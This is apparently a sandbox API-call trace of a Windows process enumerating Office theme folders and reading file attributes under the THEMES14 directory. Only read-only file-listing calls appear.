	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1
	[0050.628] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1
	[0050.629] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.630] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon"), fInfoLevelId=0x0, lpFileInformation=0x1277fa48 | out: lpFileInformation=0x1277fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.631] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.631] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.631] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), fInfoLevelId=0x0, lpFileInformation=0x1277fbd8 | out: lpFileInformation=0x1277fbd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e)) returned 1
	[0050.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), fInfoLevelId=0x0, lpFileInformation=0x1277fc28 | out: lpFileInformation=0x1277fc28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b)) returned 1
	[0050.632] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1277fc78 | out: lpFileInformation=0x1277fc78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621)) returned 1
	[0050.633] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1277fcc8 | out: lpFileInformation=0x1277fcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292)) returned 1
	[0050.634] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic"), fInfoLevelId=0x0, lpFileInformation=0x1277fd18 | out: lpFileInformation=0x1277fd18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.634] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.635] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.635] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.635] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), fInfoLevelId=0x0, lpFileInformation=0x1277fea8 | out: lpFileInformation=0x1277fea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7)) returned 1
	[0050.636] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), fInfoLevelId=0x0, lpFileInformation=0x1277fef8 | out: lpFileInformation=0x1277fef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201)) returned 1
	[0050.636] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1277ff48 | out: lpFileInformation=0x1277ff48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9)) returned 1
	[0050.636] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1277ff98 | out: lpFileInformation=0x1277ff98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44)) returned 1
	[0050.637] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis"), fInfoLevelId=0x0, lpFileInformation=0x1278a008 | out: lpFileInformation=0x1278a008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.638] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), fInfoLevelId=0x0, lpFileInformation=0x1278a198 | out: lpFileInformation=0x1278a198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be)) returned 1
	[0050.638] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), fInfoLevelId=0x0, lpFileInformation=0x1278a1e8 | out: lpFileInformation=0x1278a1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211)) returned 1
	[0050.639] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1278a238 | out: lpFileInformation=0x1278a238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20)) returned 1
	[0050.639] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1278a288 | out: lpFileInformation=0x1278a288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864)) returned 1
	[0050.639] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends"), fInfoLevelId=0x0, lpFileInformation=0x1278a2d8 | out: lpFileInformation=0x1278a2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.640] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.640] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.640] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.640] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), fInfoLevelId=0x0, lpFileInformation=0x1278a468 | out: lpFileInformation=0x1278a468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7)) returned 1
	[0050.640] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.inf"), fInfoLevelId=0x0, lpFileInformation=0x1278a4b8 | out: lpFileInformation=0x1278a4b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216)) returned 1
	[0050.642] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1278a508 | out: lpFileInformation=0x1278a508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885)) returned 1
	[0050.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1278a558 | out: lpFileInformation=0x1278a558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093)) returned 1
